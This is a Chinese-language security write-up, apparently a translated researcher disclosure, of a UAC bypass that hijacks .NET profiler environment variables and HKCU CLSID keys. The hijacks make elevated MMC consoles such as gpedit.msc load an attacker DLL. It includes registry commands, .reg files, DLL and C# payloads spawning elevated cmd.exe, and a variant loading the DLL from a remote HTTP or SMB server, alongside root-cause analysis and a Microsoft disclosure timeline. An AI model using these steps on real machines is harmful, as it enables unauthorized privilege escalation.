.NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL,甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10(包括最近的RS3)系统的默认UAC设置,如通过自动提权.NET进程(MMC管理单元)来加载任意的DLL。
介绍
去年五月, Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加载可能会被滥用,通过环境变量使合法的.NET程序加载一个恶意DLL
当看到这一点,脑海中第一种想法就是,如果这个方法在高权限.NET进程也可以工作,那这将是一个绕过UAC的好办法。果然,确实如此。
这个问题到写这篇博客时依然没有修复,而且可能一直如此——但是在7月,它被 Stefan Kanthak独立地发现并报告了,按完整披露流程公布了该问题。
绕过UAC
要让一个.NET应用程序加载任意一个DLL,我们可以使用以下环境变量。
1 | COR_ENABLE_PROFILING=1 |
在.NET 4以下版本,CLSID必须在HKCR\CLSID{GUID}\InprocServer32定义包含profiling DLL的路径的注册表键。在最近版本中,CLR通过COR_PROFILER_PATH环境变量来找这个DLL,如果COR_PROFILER_PATH没有定义再使用CLSID查找。
HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID组合起来显示的。在HKLM(或者系统环境变量)下创建CLSID键需要提权,而在HKCU下创建不需要。需要注意,在用户环境变量和HKCU注册表项下一切也都工作正常。
可以简单使用一段批处理命令让它工作:
1 | REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f |
这些命令在低权限命令行下可以在高权限的mmc.exe进程中加载C:\temp\test.dll(如果存在)。可以绕过Windows 7到10(包括最新RS3)系统的默认UAC设置。
内嵌DLL的powershell POC可以在这里找到(只支持X64)。
这个DLL只在DLL_PROCESS_ATTACH下运行一个cmd.exe,会产生一个提权的命令行终端,然后马上退出当前进程,阻止MMC控制台弹出。
1 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) |
在Windows 7,8.1,10 1703和10 RS3 build 16275中测试通过。
当然,如果你有可访问的SMB共享,UNC路径也可以工作。
1 | COR_PROFILER_PATH=\\server\share\test.dll |
根本原因
COM运行时在运行高权限进程时会阻止在HKCU查找CLSID,所以这种绕过方式无效,但是.NET运行时没有阻止,在这种情况下,.NET在shim组件查找时会查找这些键值。
如果要修复,需要CLR实现和COM一样的检查。
更多维度
现在我们知道CLR是如何工作的了,我们可以在堆栈中找他CLR调用的其他在HKCU查找CLSID的实例。一个实例是GPEdit(Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager)组件(在我测试虚拟机中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1})。
查看HKCU已经存在的项中,好像是指向CLR程序及自己实现的组件。
我们可以在HKCU下像这样定义一个COM项(.reg格式):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
MMC会加载我们的托管DLL,并且尝试访问TestDotNet.Class1类。C#没有一种简单的创建入口是DllMain的简单DLL(我们很懒所以不想写模块初始化),但是貌似注册表指向的类被加载了,所以我们只需要一个静态构造函数来执行我们的提权代码。1
2
3
4
5
6
7
8
9
10
11
12
13
14using System;
using System.Diagnostics;
namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("cmd.exe");
Environment.Exit(0);
}
}
}
将DLL放在注册表项定义的位置,然后运行gpedit.msc,可以看到弹出了一个提权的终端(和.NET一样)。
这种方式一个有趣的点是CodeBase不仅限于本地文件和SMB共享,这个DLL还可以从HTTP链接中加载。1
"CodeBase"="http://server:8080/test_managed.dll"
需要注意的是下载的DLL会拷贝到硬盘上,所以这种方式比本地DLL更好检测(硬盘+网络组合)。
另外一件好事(对攻击者)是这种方式下可以滥用多种CLSID。
下面是在compmgmt.msc,event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID:
- 托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"CodeBase"="file://C://Temp//test_managed.dll"
- Native DLL的NDP SymBinder组件,劫持\Server项
1 | Windows Registry Editor Version 5.00 |
- Native DLL的Microsoft Common Language Runtime Meta Data组件,劫持\Server项(只有secpol.msc可用)
1 | Windows Registry Editor Version 5.00 |
(注意:路径必须是相对的,否则mmc.exe会尝试加载C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll)
不是安全边界
微软多次申明UAC不是一个安全边界,安全从业者以更务实的角度来看它:不要信任UAC,不要用admin运行,用非admin用户运行不需要admin的任务,我非常赞同这种说法。
但是依然很多人用admin运行所有的东西,他们都是渗透测试人员和红色组织(都是坏人)感兴趣的目标。所以我猜测还会有新的关于UAC的有趣技术。
如果为了渗透测试,我推荐使用@tiraniddo的例子(一个已经实现,另一个也快来了),它不需要加载DLL,并且目前大部分EDR解决方案还不能捕获它。
另外,如果你也在研究绕过UAC,这个主题外有很多资源,但是下面的必须读一下:
- @enigma0x3’s research (and his upcoming DerbyCon talk)
- @tiraniddo’s bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3
- @hFireF0X’s UACME project that implements most known UAC bypasses, and his posts on kernelmode
- @FuzzySec’s UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell
非常感谢Casey Smith(@subtee)指出.NET profiler DLL技巧,并且感谢对微软开发者找到根本原因给予的帮助,谢谢Matt Graeber (@mattifestation) 的意见和review。
进展时间
2017-05-19 发现bypass
2017-05-20 给MSRC发邮件 (cc’ing an MS dev as suggested by @mattifestation)
2017-05-22 MSRC创建主题 #38811
2017-05-20/23 和 MS dev讨论
2017-06-24 MSRC回复: “We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary.”
2017-07-05 Stefan Kanthak绕过方案的完整披露
2017-09-15 发表本篇文章